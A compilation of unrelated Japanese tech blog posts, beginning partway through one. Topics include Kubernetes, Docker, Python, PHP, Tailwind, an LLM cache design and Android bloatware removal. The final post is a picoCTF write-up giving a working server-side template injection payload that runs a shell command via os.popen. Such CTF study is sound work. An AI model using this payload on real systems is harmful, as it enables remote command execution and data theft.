　住所はもちろん、
　　最寄り駅、電話番号、
　　　ちょっとした道案内。

　それから
　　展示会場のスペースの情報まで。
***
　そこで
　　現在開催されている展示や
　　　出展メンバーのことも
　　　　検索できました。

　まぁ、
　　SNSにある情報ですから
　　　メンバーの詳細は
　　　　わかりませんでしたが。

　それでも
　　必要な情報は
　　　得られましたし、
　　　　メンバーそれぞれの情報も
　　　　　得られました。

　これをもとに
　　この展示会に
　　　行こうと思います。

　みなさんの
　　作品制作の糧に
　　　なれば、幸いです。

　今回は、ここまで。
Kubernetesって結局なんやねん。

# はじめに

最近よく聞く「Kubernetes（クバネティス）」。
でも実際はそこまで複雑じゃありません。
この記事では、Kubernetesについてシンプルに説明してみます。

# 記事の対象者

- 最近よく聞く「Kubernetes」について知りたい人
- Dockerやコンテナという言葉は聞いたことがあるけど、具体的に何か分かっていない人

# 結論

Kubernetesとは、「アプリケーションを安全に動かし、たくさんのサーバーで効率よく管理するための仕組み」です。

簡単に言うと、多くのコンテナ（小さくまとまったアプリケーション）をスムーズに動かすためのシステムです。

# 具体的な例え

Kubernetesを「港のコンテナ管理」として例えてみましょう。

- コンテナ = 小さくまとめられたアプリケーションの単位
- コンテナ船（Node） = コンテナを実際に動かすサーバー
- 港（Cluster） = Kubernetesが管理する全体の環境
- 管理官（Kubernetes自身） = 「どのコンテナをどの船に何個載せるか」「船が問題を起こしたら自動で再配置する」などを指示

例えば、ある船が故障した場合でも、自動的に別の船を用意してコンテナを積み替えたり、忙しい時にコンテナの数を増やして負荷を分散させたりできます。

# Dockerやコンテナとの違い

- **Docker**: コンテナ（アプリケーションの小さな箱）を作ったり動かしたりするためのツール
- **Kubernetes**: Dockerなどで作ったコンテナを大量に効率よく管理・運用するための仕組み

例えるなら、Dockerはコンテナを作る「職人さん」、Kubernetesはそれを管理・配送する「物流会社」です。

# まとめ

Kubernetesは、コンテナ化されたアプリケーションを
「大量かつ効率的に管理・運用するためのプラットフォーム」です。
アプリを安定して使えるように支える重要な仕組みになっています。

初めて聞く言葉で戸惑うかもしれませんが、
シンプルに考えれば意外と身近で分かりやすい概念です。
現場PC用の道具いろいろ

## この記事は？

PC本体しかない場所で作業する時に使う機器を紹介しています。

## はじめに

ここ数年、仕事や趣味でRaspberry Piとか組み込みPCとかエッジPCとか小型のサーバーPCとかを相手にすることが増えました。 

これらの端末は本体だけポツンと設置してあることが多いです。
LAN接続してあればリモート操作できますが、スタンドアロンだったりトラブルの際は端末の前で操作することになります。
そんな時に使っている周辺機器を紹介します。

- モバイルディスプレイとケーブル等
- キーボード＆マウス
- モバイルバッテリー
- ノートPC
- その他

## モバイルディスプレイとケーブル等

端末にディスプレイ用ポートがあれば、そこに何かしら出力されています。 
でも、普段はディスプレイがなかったりします。 
そんな時、モバイルディスプレイを持っていくと重宝します。 

Amazonなどで探せば廉価な製品がいくらでも見つかります。 
自分は、以下の4点を考慮して選びました。 

- 13インチくらい・HD解像度(1366x768) ...
  重量と見やすさと価格のバランスをとりました。 
  15.6インチなら安価な製品が多くあるのですが、大きくて重くいので一回り小型にしました。 
  解像度は、フルHD(1920x1080)がいいのですが、老眼の都合で落としました。 
- 標準HDMI端子 ...
  ケーブルの調達が容易な標準HDMIポート搭載の製品をお勧めします。 
  筐体を薄くするためミニHDMIポートを採用する製品が多いです。 
  ですが、端末の方も小型化のためにミニHDMIやマイクロHDMIを採用していることがあります。
  片端がミニHDMIやマイクロHDMIのケーブルはありますが、両端が標準HDMIでないケーブルはありません。 
- カバー付き ...
  携帯する時に画面を保護できるよう、カバー付きの製品をお勧めします。
  付属しない場合は、ポリスチレンボードや発泡スチロール板で自作しましょう。 
- USB Type-C 給電 ...
  近くにコンセントがない場所でも、モバイルバッテリーがあれば給電できます。
  まれに Type-C 給電に対応していない製品があるので注意です。 

モバイルディスプレイに合わせて、ケーブルや変換器を揃えました。
ケーブルは、狭いところで使えるよう、コネクタが小さくてケーブルが細い製品を選びました。
今の所、下記の5つでどこでも対応できています。

- 標準HDMI(オス)-標準HDMI(オス)ケーブル ...
  エレコム HDMI ケーブル 1m スーパースリム DH-HD14SS10BK
- 標準HDMI(オス)-ミニHDMI(オス)ケーブル ... 
  エレコム mini HDMI ケーブル 1.5m スーパースリム DH-HD14SSM15BK
- 標準HDMI(オス)-マイクロHDMI(オス)ケーブル ... 
  エレコム micro HDMI ケーブル 1m スーパースリム DH-HD14SSU10BK
- VGA(オス)-標準HDMI(メス)変換器 ...
  古い端末や一部のサーバーPCなど、VGA出力しかない場合に使います。 
- Display Port(オス)-標準HDMI(メス)変換器 ...
  端末にHDMIポートがなくてDisplay Port出力がある場合に使います。 

## 無線キーボード＆マウス

ほとんどの端末にはUSBポートがあり、キーボードやマウスを繋げれば操作できます。 

自分は、以下の5点を考慮して[エレコム TK-FDM109MBK](https://www.elecom.co.jp/products/TK-FDM109MBK.html)を選びました。

- 2.4GHz無線接続 ...
  有線は、端末近くで作業できると限らないのでダメ。 
  Bluetoothは、端末起動前にペアリングできず詰んだ経験からダメ。 
  2.4GHz無線ならば、設定不要で距離を気にしません。 
- 電源は乾電池 ...
  充電式は、いつバッテリーが切れるかわからないのでダメ。 
  乾電池なら予備と交換するだけです。 
- キーボード・マウスのセット製品 ...
  端末のUSBポートが少ないこともあります。 
  セット製品なら、ドングル1個でキーボードとマウスを接続できます。 
- キーボードとマウスの両方に電源スイッチあり ...
  スイッチなしの製品は、操作をすると電源が復帰するのですが、これが携帯時に誤反応を起こしてバッテリーを消費してします。
  スイッチありなら、電源Onを自分で制御できます。 
- テンキーなし・薄型 ...
  小型なら携帯性が良くなります。 
  作業台が狭いときもマウスを置く場所を確保できます。 
  ただし、キーピッチが狭いものやキー配列が特殊なものは、操作しづらくなるので避けます。 

## ノートPC

- 携帯性が良いこと ...
  軽くて、薄くて、バッテリーが長持ちすること。 
- USB Type-C PD給電に対応 ...
  重いACアダプタの代わりに、小型のType-C PDのACアダプタが使え、荷物が軽くなります。45W以下で動作するなら、モバイルバッテリーを非常電源に使えるかもしれません。 

## モバイルバッテリー

- USB Type-C PD給電できる ...
  45W(15V/3Aか20V/2.25A)以上の給電ができるなら、モバイルディスプレイだけでなくノートPCの非常電源にできます。 

## その他

- 有線LANからWiFiへのコンバーター
- USB給電のWiFiルータとLANケーブル

## おわりに

ほかにもあったら教えてください。
【データサイエンティスト向け】Kubernetesって結局なんやねん。



# 記事の対象者

- Kubernetesという言葉をよく耳にするけど、正直まだよく分かってない
- Dockerは使ったことがあるけど、「Dockerと何が違うん？」と感じている
- 機械学習モデルを開発しているデータサイエンティストで、運用や管理の効率化に興味がある人

# 結論

Kubernetesとは、
「コンテナ化されたアプリケーションを効率よく管理するためのツール」です。
Dockerがコンテナを作るツールだとしたら、
Kubernetesはそのコンテナを大量に効率よく管理・運用するためのプラットフォームです。

# 具体的な例え

Kubernetesを「港のコンテナ管理」として例えてみましょう。

- コンテナ = Dockerなどで作ったアプリの単位
- コンテナ船（Node） = コンテナを実際に動かすサーバー
- 港（Cluster） = Kubernetesが管理する全体の環境
- 管理官（Kubernetes自身） = 「どのコンテナをどの船に何個載せるか」「問題が起きた船は自動的に再配置」などを指示

例えば、船が故障しても自動的に別の船を呼んでコンテナを載せ替えたり、
荷物（アクセス）が多くなったらコンテナを増やしたり減らしたりするのを、
自動化できます。

# Dockerやコンテナとの違い

- **Docker**: コンテナそのものを作ったり動かしたりするツール
- **Kubernetes**: Dockerなどで作ったコンテナを、たくさんのサーバーで管理・運用するためのツール

つまり、Dockerはコンテナを作る「職人さん」、
Kubernetesはそれを効率よく配達・管理する「物流会社」のような関係です。

機械学習の現場で言えば、

- 学習（トレーニング）を大量のGPUで効率的に行う環境
- 推論（モデルの予測）をリアルタイムで処理する軽量な環境

というように用途に合わせて別々の環境を用意し、
最適なリソース配分が簡単にできるのがKubernetesの強みです。

# まとめ

Kubernetesとは、
コンテナを「大量かつ効率的に管理するためのプラットフォーム」です。

特にデータサイエンスや機械学習の現場では、
学習と推論というまったく性質の異なる処理を効率的に分けて運用できます。
最初は難しく感じるかもしれませんが、
一度慣れれば便利さが実感できますよ！
まずはミニマムな環境で試してみましょう。
「Attentionは一度だけ払えばいい」LLM推論キャッシュの設計アイデア

## 背景

皆さんこんにちは、皆さんはどんかGPUでLLM動かしてますか？A100？H100？H200？
私はそんなお金ないので4070tisuperです。

どうやったら弱いグラボでもLLMを動かせるか考えました。

小手先で解決できる内容ではなかったので、推論の仕組みから再検討してみました。

本職はSREエンジニアなので、思ったような進捗は出ないと思いますが少しずつ取り組んでみたいと思います。

## “Attentionの計算結果を共有すべき” を実現するP2Pキャッシュ構想

⚠️ 本記事は構想段階のドラフトです。
評価指標やベンチマークは未検証の仮値です。
実装・検証が完了次第、随時アップデート予定です。

	•	LLMが同じ入力に何度もAttentionを払う無駄を減らしたい
	•	隠れ層・デコーダ出力をP2Pで共有・再利用するキャッシュネットワークを構想
	•	ローカル → ベクトルDB → P2P という多層キャッシュ構造により推論コストの削減と再現性の向上を目指す
	•	まずはローカルPoC（llama.cpp + FAISS）から着手中

⸻

背景：「Attentionは何度も計算しない」

現在のLLM（例：GPT系）は、ユーザーが似たようなプロンプトを入力しても毎回Attention計算→デコード処理を再実行しています。
これは次のような課題を生み出しています：
	•	不必要な再計算によるリソース浪費
	•	再現性の低さ（特にトップkによる揺らぎ）
	•	同じプロンプトでも知識の再利用ができない

⸻

提案：Open Transformer DB (OTD)

OTDは、Transformerの中間状態をキャッシュとして再利用し、階層的に問い合わせることで再計算を避けることを目的とした構想です。

システム構成（案）

User
 └─→ L₀: ローカルKVキャッシュ（完全一致）
 └─→ L₁: セマンティック類似検索（FAISSなど）
 └─→ L₂: 他ノード（P2P）への問い合わせ
 └─→ L₃: 新規にモデルを推論


⸻

キャッシュスキーマ（簡易）

{
  "input_sha256": "abc123…",
  "model_hash": "sha256(weights+quant)",
  "cache_level": "decoder_final",
  "embedding": [0.123, ...],
  "privacy_flag": false,
  "inserted_at": "2025-05-10T12:34:56Z",
  "hits": 0
}

	•	embedding：プロンプトベクトル（類似検索用）
	•	privacy_flag：共有可否
	•	model_hash：モデル差異による出力の混在を防止
⸻

開発フェーズ（予定）

フェーズ	内容
Phase 0	ローカルPoC（キャッシュヒットの検証）
Phase 1	類似度判定（FAISS + τ制御）
Phase 2	疑似P2P共有（gRPCやHTTPで模擬ノード間通信）
Phase 3	libp2p実装（Gossip + 暗号化 + reputation）
Phase 4	公開ノード対応 + 評価・プライバシ制御強化

⸻

現在の進捗
	•	ローカルでのPoCを構築中（llama.cpp + FAISS）
	•	同一入力 → SHA256 → キャッシュ参照
	•	今後、ベクトル類似検索（cos類似度）を加えて再利用の範囲を広げる予定

⸻

今後について
	•	まずは Phase 0〜1 の結果をもとに再利用率・品質を定量化
	•	将来的には分散キャッシュ共有ネットワークとしてのプロトタイプを公開予定
オンラインSVGガントチャートの作成方法と他のドキュメントへの参照

## はじめに
こんにちは！この記事では、強力なオンラインガントチャートを迅速に作成し、それを他のドキュメント（Notion、Wiki、Qiita、GitHub、Obsidian、Emailなど）に埋め込む方法を詳しく解説します。対象のツールがネットワーク画像の参照をサポートしていれば、簡単にこの操作を実現できます。

## なぜオンラインである必要があるのか？
ガントチャートは主に、プロジェクト計画の策定、進捗状況の追跡、およびタスクの割り当てに使用されます。オンラインガントチャートを使用する利点は、リアルタイムで更新できることです。どのドキュメントに埋め込んでも、ユーザーはいつでもプロジェクトの最新の状態を確認できます。

## なぜSVGである必要があるのか？
SVGはベクターグラフィックス形式であり、異なるデバイスの解像度でも最適な鮮明さを維持できます。同時にファイルサイズが小さいため、ドキュメントへの埋め込みや共有に非常に適しています。

## オンラインガントチャートの作成
1. [GanttNow](https://ganttnow.com/) オンラインガントチャート作成プラットフォームを開きます。
2. 「ガントチャートを作成」をクリックして、編集画面に入り、作成を開始します。上部の時間粒度はドラッグで調整できます。
   ![create.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4082801/bd087773-4705-420d-88fb-890b3115922b.jpeg)

3. 作成が完了したら、右上の「保存」ボタンをクリックするか、ショートカットキー `Ctrl+S` を使用します。
4. 次に、「共有アイコン」をクリックすると、そのガントチャートのSVGアドレスを取得できます。
   ![share.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4082801/5c4a7b7b-d0b2-438a-aee7-b2c1149aed57.jpeg)

5. このアドレスを対象のドキュメントに埋め込み、参照を完了します。

ログインしていない場合は、現在のガントチャートのアドレスを保存して、次回開いて更新できるようにすることをお勧めします。ログインすると、このガントチャートはプロジェクトリストに自動的に保存されます。

### 注意事項
- ログインしていない場合は、後で更新できるように、現在のガントチャートのアドレスを保存することをお勧めします。
- ログインすると、ガントチャートは個人のプロジェクトリストに自動的に保存され、いつでもアクセスして変更できます。

### 例：

```
![ガントチャートSVGの例](https://ganttnow.com/api/svg/6021b14c6121b100c0/?lang=ja&zone=8)
```
![ガントチャートSVGの例](https://ganttnow.com/api/svg/6021b14c6121b100c0/?lang=ja&zone=8)
（自分用）Python関数設計の5つの方法を比較【Pydantic / dataclass / クラス設計 / attrs / TypedDict】

# Pythonで「関数の引数設計」をする場合のアプローチ

1. `def` を使った通常の関数定義
1. `pydantic.BaseModel` を使ったAPI向け設計
1. `@dataclass` を使った軽量なモデル
1. クラス + `__init__` によるOOP設計
1. `attrs` や `TypedDict` を使った構造化・型安全な設計

この記事では、それぞれのコード例と、特徴・用途を比較した一覧表も載せます。今後も追記予定。

## 1.通常の関数定義 + if文チェック

```python:example.py
def add(num1: int = 10, num2: int = 10) -> int:
    if isinstance(num1, str) or isinstance(num2, str):
        raise Exception(TypeError, "int型で入力してください")
    return num1 + num2

print(add()) # 出力 20
```
型ヒントはあるが、チェックは手動。
- 利点：シンプル。
- 欠点：バリデーションを毎回書く必要がある。

## 2.`pydantic.BaseModel` を使う（FastAPIにも最適）

```python:example.py
from pydantic import BaseModel

class Add(BaseModel):
    num1: int = 10
    num2: int = 10

def add(data: Add):
    return data.num1 + data.num2

print(add(Add()))  # 出力 20
```
- 利点：バリデーション自動
  - JSONシリアライズ/デシリアライズに強い
  - FastAPIでそのまま利用できる

## 3.dataclass を使う（標準ライブラリ）

```python:example.py
from dataclasses import dataclass

@dataclass
class Add:
    num1: int = 10
    num2: int = 10

def add(data: Add):
    return data.num1 + data.num2

print(add(Add())) # 出力 20
```
- 利点：標準ライブラリで軽量。
  - バリデーションは自分で書く必要あり。
  - Pythonicな構造体代替として使える。

## 4.手動クラス定義 + `__init__` を使う（柔軟なOOP）

```python:example.py
class Add:
    def __init__(self):
        self.num1 = 10
        self.num2 = 10

    def add(self):
        return self.num1 + self.num2

print(Add().add()) # 出力 20
```
- 利点：継承やメソッド追加などOOP向け
- 欠点：自由度は高いが冗長

## 5.`attrs` を使う（`dataclass`の上位互換）

```python:example.py
import attr

@attr.s
class AddAttrs:
    num1 = attr.ib(type=int, default=10)
    num2 = attr.ib(type=int, default=10)

def add_attr(data: AddAttrs):
    return data.num1 + data.num2

print(add_attr(AddAttrs()))  # 出力 20
```
- 利点：dataclass より柔軟：バリデーションや __slots__ も対応。
  - 軽量・パフォーマンス向上も可能。

## 6.`TypedDict` を使う（辞書型の型安全）

```python:example.py
from typing import TypedDict

class AddDict(TypedDict):
    num1: int
    num2: int

def add_dict(data: AddDict):
    return data["num1"] + data["num2"]

print(add_dict({"num1": 5, "num2": 15})) # 出力 20
```
- 型付き辞書を扱える（mypyなどで検査可能）
- 実行時にはバリデーションが効かないので注意

## まとめ

| 方法               | 構文                          | バリデーション   | 初期値 | 利便性 | 主な用途           |
| ---------------- | --------------------------- | --------- | --- | --- | -------------- |
| 通常関数             | `def add()`                 | 手動（if文）   | 可能  | 高い  | 汎用関数           |
| `BaseModel`      | `class AddModel(BaseModel)` | 自動        | 可能  | 高い  | API連携（FastAPI） |
| `dataclass`      | `@dataclass`                | なし（手動）    | 可能  | 軽量  | 内部処理／構造体代替     |
| クラス + `__init__` | `class Addnum`              | なし        | 可能  | 柔軟  | OOP設計／GUI系     |
| `attrs`          | `@attr.s`                   | 自動・柔軟     | 可能  | 高い  | 高機能な構造体        |
| `TypedDict`      | `class AddDict(TypedDict)`  | 静的（mypy等） | なし  | 軽量  | 辞書型の構造管理／型安全   |

### 使い分けのイメージ

- FastAPI や API連携が目的なら Pydantic
- 内部データ構造が目的なら `dataclass` / `attrs`
- 柔軟なOOP設計にはクラス + `__init__`
- 構造が辞書ベースなら `TypedDict`
- 複雑・多段構造であれば `attrs` を活用
【Docker入門】appってなんやねん！

# はじめに

Dockerを勉強していると、Dockerfileの中に頻繁に登場する「`app`」という文字。
「appってなんのこと？」「これがないとダメ？」と疑問に感じる人も多いと思います。
この記事では、この`app`の正体についてわかりやすく説明していきます！

## 記事の対象者

- Docker初心者の方
- Dockerfileを初めて書く方
- Dockerの基本的な仕組みを理解したい方

## Dockerのappとは

Dockerにおける`app`とは、特別な予約語や特定の機能を指す言葉ではありません。
実はDockerfileでよく使われる、仮想の作業ディレクトリ（作業場）の名前のことなのです。
つまり、

- コンテナ内に仮想的に作る作業スペース（フォルダ）の名前
- 自分のソースコードや環境設定ファイルを置いておく場所

を便宜的に`app`と呼んでいるだけで、別に`app`という名前でなくてもOKです。
では、なぜ`app`を使うのでしょうか？
それは単純に、みんなが使う慣例であり、
Dockerfileを書くときにわかりやすく、一貫性が出るからです。

## 実際の挙動（Dockerファイルを使いながら説明）

実際のDockerfileを使って解説しましょう。

```
FROM continuumio/miniconda3:latest

WORKDIR /app

COPY conda.yml /app/conda.yml

RUN conda env create -f /app/conda.yml && \
    conda clean -afy

SHELL ["conda", "run", "-n", "aml-env", "/bin/bash", "-lc"]

COPY . /app

CMD ["python", "train.py"]

```

### 各コマンドの意味

- **`FROM continuumio/miniconda3:latest`**
    - Dockerのベースイメージを指定します。ここでは、Minicondaが入っている環境を使います。
- **`WORKDIR /app`**
    - コンテナ内に`app`というフォルダを作り、それを作業場所に指定します。
    - 以降の命令はすべてここで実行されます。
- **`COPY conda.yml /app/conda.yml`**
    - `conda.yml`という設定ファイルをコンテナ内の作業場所にコピーします。
- **`RUN conda env create -f /app/conda.yml && conda clean -afy`**
    - `conda.yml`を元に、Pythonの環境を構築し、不要なデータを削除します。
- **`SHELL ["conda", "run", "-n", "aml-env", "/bin/bash", "-lc"]`**
    - 以降の命令を、作成した環境（`aml-env`）上で動かすことを指定します。
- **`COPY . /app`**
    - 自分のPCにあるコードやファイルを、作業場所（`/app`）にすべてコピーします。
- **`CMD ["python", "train.py"]`**
    - コンテナを立ち上げると、`train.py`を実行するように設定します。

## 「app」の名前を変えたかったら？

もちろん、`app`以外の名前を使っても問題ありません。
たとえば、`my_project`や`workspace`に変えたい場合は、Dockerfileをこう書くだけです。

```
WORKDIR /my_project
COPY . /my_project

```

重要なのは、プロジェクト内で一貫して同じ名前を使うことです。

---

以上がDockerの`app`の正体でした。
これでDockerfileの基本構造への理解がぐっと深まったのではないでしょうか！
自社製品のリプレイスの技術選定を勝手に妄想する

## 今回の背景
私の今いる企業は自社開発の製品を持っているのですが、「あまりイケてない」企業です。

テストやドキュメントなど存在を知っているのかと疑うレベルですし、使っている技術も少し古いです。

リプレイスを提案してみても受け入れられるかわからないので、今回勝手にリプレイスするならこんな技術を使うという仮定のもと技術選定をしてみました。

---

## 1. 現状の課題認識
- 使用技術：EJS + jQuery
- 強み：SSRによる高速な初期表示
- 課題：
  - jQueryによるDOM操作の煩雑化・スパゲッティコード化
  - UIや状態の再利用・分離が困難
  - テストしづらく、保守性が低い

---

## 2. モダン化の方向性を検討
- フロント：ReactによりUIの再利用性を高めたい
- バックエンド：既存のExpress資産を活かしたい
- 開発効率と保守性を両立させる構成を模索

---

## 3. なぜモダン化するのか？
- 保守性と拡張性を大幅に向上させるため
- 将来的なスケール（チーム、機能、サービス分離）に備えるため
- テスト可能で安全な開発基盤（型、状態管理、ESLint、CI対応）を整備したいため
- 社内や外部との共通言語としてReact + TypeScript環境を導入
- jQueryは開発も活発でなく今後のアップデートもあまり期待できない
- 社外へのアピールになる

---

## 4. SSR、SSG、CSRの違い（Next.js視点）

| 項目 | SSR | SSG | CSR |
|------|-----|-----|-----|
| HTML生成 | リクエスト時 | ビルド時 | クライアントで描画 |
| 表示速度 | ◯（やや遅） | ◎（高速） | △（JS読み込み後） |
| データ更新 | ◎ 最新 | △ 更新には再ビルド必要 | ◎ 最新 |
| SEO対応 | ◎ | ◎ | △（遅延が発生） |
| 用途 | 動的ページ全般 | LPやブログなど静的ページ | SPA内部のUI更新 |


今回は元々EJSなこともあり、スピードを重視したいのとデータの更新が頻繁に行われる構成のためSSRを行えることを基準に選定しました。

---
## 5. Next.jsに注目（React + SSRを実現するため）
- Reactの利点（コンポーネント、Hooks、SPA的UX）とSSR（初期表示の速さ）を両立
- ページ単位でSSR/SSG/CSRを選べる柔軟性

---

## 6. Expressとの共存構成を検討
- 既存Expressを活かすため、Next.jsをカスタムサーバーとして統合
- Express：API、Next.js：フロントとして責務を分離
- API呼び出しとページ描画の分担が可能

---

## 7. フロントとバックを1プロセスで統合運用する是非

### メリット
- インフラ構成がシンプル
- CORS不要で開発しやすい
- CI/CD・デプロイが一本化できる

### デメリット
- スケーラビリティの限界
- 再起動・障害時に影響範囲が大きい
- 将来的なサービス分離が困難になる可能性

---

## 8. TypeScriptを検討
- 型安全性によるバグ抑制、リファクタリング耐性向上
- フロント・バック共通で型定義を活用できる
- 状態管理やForm処理、APIのレスポンスなどで型が有効
- Next.js, ExpressともにTypeScriptとの親和性が高い
- JavaScriptを使っていることもあり、学習コストが低い

---

## 9. リプレイスの段階的戦略

1. Express + EJSを `/v1`、Next.jsを `/v2` に分離して共存構成構築
2. 優先度の高い動的ページを Next.js + SSR で実装（例：ダッシュボード、プロフィール）
3. jQueryのDOM操作を React コンポーネントに段階的に置き換え
4. Express API を `/api/**` に再設計し、Next.jsからfetchで利用
5. 状態管理や認証処理を React 側で再実装
6. 将来的に Next.js の API Routes にも移行可能なよう構成を整理

---

## 10. 最終目標像
- 表示速度を犠牲にせず、React + TypeScriptによる開発基盤を確立
- Express APIとフロントを疎結合化し、保守性とテスト性を向上
- 柔軟な拡張・再利用が可能な構成
- 将来のサービス分離やマイクロサービス化にも耐えられる基盤

---

## 技術スタックと設計戦略まとめ

| 項目 | 採用技術 | 理由 |
|------|----------|------|
| フロント | Next.js + React + TypeScript | 表示速度と開発効率を両立 |
| バックエンド | Express（API専用） | 既存資産活用、柔軟なAPI設計 |
| 実行構成 | Next.js + Express 統合プロセス | インフラ簡素化、初期構築の高速化 |
| 状態管理 | React Hooks / Context / Zustand など | UIの再利用、jQuery脱却 |
| ビルド管理 | `tsconfig`, `webpack`, `esbuild`（Vite）など | フロント・バック分離ビルドを視野に |
| スタイル | Tailwind CSS / shadcn/ui | コンポーネント化と開発効率を向上 |

---

以上、勝手にリプレイスの技術選定を妄想してみました。
これを元にリプレイスの提案をしてみようと思います。

ツッコミ、コメント、お待ちしております！
🔰【PHP 開発ガイド】array_search の戻り値を if 文で 判定する際の注意点

環境：PHP 8.4.5

PHP の [array_search 関数](https://www.php.net/manual/ja/function.array-search.php) は、検索対象の値が **見つからなかった場合** に `false` を返します。一方で **見つかった場合** は、その要素のインデックス（整数）を返します。

ここで厄介なのが、インデックス `0` が返ってきたときです。PHP では数値の `0` はブール値に変換すると `false` と同等とみなされ、処理の結果が期待通りにならないので注意が必要です。

```php
$idx = array_search($needle, $haystack);

if ($idx) {
    // インデックスが見つかったと思って処理を続行
}
```

インデックス `0` が返ってくると `$idx` は `false` と評価され、`if` の中が実行されません。その結果「見つかったのに見つからなかった」という挙動になってしまいます。

## 安全な判定方法

`array_search()` が返す `false` は型そのものが **false** です。インデックス 0 などの整数値とは型が異なるため、`===` または `!==` で **厳密比較** を行うことで判定ミスを防げます。

```php
$idx = array_search($needle, $haystack);

if ($idx !== false) {
    // インデックス 0 も含めて正常に判定できる
}
```

## サンプル: Two Sum 問題でのバグ修正例

```php
function twoSum($target, $nums) {
    $pair = [];

    foreach ($nums as $k => $v) {
        $vv = $target - $v;
        $kk = array_search($vv, $pair);

        if ($kk !== false) { // <-- 修正ポイント
            return [$kk, $k];
        }
        $pair[$k] = $v;
    }
}
```

修正版では `if ($kk !== false)` と厳密比較しているため、インデックス `0` が返っても正しく判定し、期待通りの結果が得られます。

## まとめ

- `array_search()` の返り値 `0` はブール評価で `false` と等価になる。
- 見つかったかどうかを判定する際は `!== false`（または `=== false`）で **厳密比較** を行う。
- 他の関数でも「見つからなかったら `false`、見つかったら 0 以上の整数」という仕様があれば同じ注意が必要。
【React】Tailwindcssの導入方法


# はじめに

こんにちは。アメリカに住みながら、独学でエンジニアを目指している Taira です。
現在 Devcontainer を使用して、ローカルを極力汚さずに React 学習を進めています。
Qiita で React Tailwind 等と調べると、以前のバージョン(v3.4.17)は出てきますが、v4.1 の方法は出てこなかったので今回は Devcontainer で TailwindCSS を導入する方法について紹介したいと思います。なお、今回は React-vite の場合の説明です。
参考文献に私が参照したサイトを載せておくので、ご確認ください

## 環境

Node:20.19.1
React(JavaScript): 19.1.0
vite: 6.3.1

## 導入手順

### 1. TailwindCSS をインストールする

```terminal
npm install tailwindcss @tailwindcss/vite
```

また、package.json の`dependencies`に直接書く方法もあります。

```json

  "dependencies": {
    "@emotion/react": "11.14.0",
    "@emotion/styled": "11.14.0",
    "react": "^19.0.0",
    "react-dom": "^19.0.0",
    "tailwindcss": "4.1.5",
    "@tailwindcss/vite": "4.1.5"
  }
```

### 2. vite.config.js にプラグインとして tailwindcss を書く

```js
import { defineConfig } from 'vite';
import tailwindcss from '@tailwindcss/vite';

export default defineConfig({
  plugins: [tailwindcss()],
});
```

Typescript の場合は、.ts だと思いますがそこまで大きく変わらないと思います

### 3. 使用したいアプリの css にインポートする

App.jsx に TailwindCSS を反映させたいと思った場合、おそらく App.css をインポートしていると思うのでそこに書き加えましょう

```css:App.css
@import 'tailwindcss';
```

これで使用できるようになっていると思います。
英語がわかる方はぜひ、以下の参考文献から実際に見て作業してみてください

## 参考文献

https://tailwindcss.com/docs/installation/using-vite
ドコモ版AQUOS wish4(SH-52E)の無効化アプリの一覧メモ

仕事用のスマホを久々に新調したため、~~本当に~~要らないドコモアプリ等を無効化したメモ。
※いつも手順忘れるからちゃんとメモした。
# 環境
- ドコモ SHARP AQUOS wish4 SH-52E
- Android14 ビルド01.00.26
# 無効化する前に
**設定＞アプリ＞特別なアプリアクセス＞デバイス管理アプリ**で**遠隔初期化**と**おまかせロック**をオフにしておく。
※オフにしないと`Failed`で無効化できない。
# 無効化したアプリ
ドコモアプリは無効化、その他(FB、Amazonとか)要らないのも削除
```:パッケージ名一覧
com.nttdocomo.android.cloudstorageservice
com.nttdocomo.android.wipe
com.nttdocomo.android.photocollection
com.nttdocomo.android.devicehelp
com.nttdocomo.dcard
com.nttdocomo.keitai.payment
com.nttdocomo.android.anshinsecurity
com.nttdocomo.android.apnsw
jp.co.nttdocomo.carriermail
com.nttdocomo.android.remotelock
com.nttdocomo.android.msg
jp.co.nttdocomo.anshinmode
com.nttdocomo.android.applicationmanagerrecommendshortcut
com.nttdocomo.android.schedulememo
com.nttdocomo.android.accountwipe
com.nttdocomo.android.mascot
com.nttdocomo.android.homezozo
jp.co.nttdocomo.lcsapp
com.nttdocomo.android.mymagazine
com.nttdocomo.android.networkservice
com.nttdocomo.android.cloudset
com.nttdocomo.android.databackup
com.nttdocomo.android.aftertool
com.nttdocomo.android.idmanager
com.nttdocomo.android.dmenu2
com.nttdocomo.android.anmane2
jp.co.nttdocomo.saigaiban
com.nttdocomo.android.felicaremotelock
com.nttdocomo.android.docomoset
com.nttdocomo.android.dpoint
com.nttdocomo.android.pf.dcmippushaggregator
com.nttdocomo.android.initialization
com.nttdocomo.android.applicationmanager
com.nttdocomo.android.sdcardbackup
com.nttdocomo.android.store
com.nttdocomo.android.applicationmanagersub
com.aura.oobe.ntt
com.rsupport.rsperm.ntt
com.android.contacts
com.amazon.mShop.android.shopping
com.amazon.appmanager
com.amazon.kindle
com.facebook.appmanager
com.facebook.services
com.facebook.katana
jp.co.sharp.android.shinstructionmanual52ea
jp.id_credit_sp.android
jp.co.disney.apps.gm.disneydx
```
**パスワードとアカウント**内のdocomoアカウントは`com.rsupport.rsperm.ntt`で消える。
# まとめ
こんな面倒くさいことしないでSIMフリー機を買おう。
picoCTF SSTI

picoCTFのSSTI1の問題を解説します。
テンプレートの脆弱性を突いた面白い問題だったのでどのように考えていくかについて調べたものをまとめます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/330568/5007137b-0d44-474b-918f-c2e9eeb23afd.png)

# 回答
入力欄に
> {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘cat flag’).read() }}

を実行し返ってきたflag情報

どうやってここまで行きつくのかを辿ります

# 思考の道筋
まずは入力欄に対して計算が成り立つのかを調べます。

Server Side Template Injectionで調べるとPortSwiggerというサイトがヒットします。
この中でテンプレートエンジンの見分け方の図があるので参考にします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/330568/94e3d62a-aeb9-403f-af2b-df5a9b51c8cd.png)
https://portswigger.net/web-security/server-side-template-injection
より引用

${7*7}
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/330568/496dd760-e582-4cd3-91a4-778f96fc6080.png)

計算された結果が得られなかったので赤線を辿ります。

{{7*7}}
を実行します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/330568/2e205199-32e1-4291-bf6c-7c5c68792489.png)
すると49という計算された結果が得られます。

そこで次は{{7*'7'}}がどのように結果として返されるのかを調べます
結果は7777777となりました。
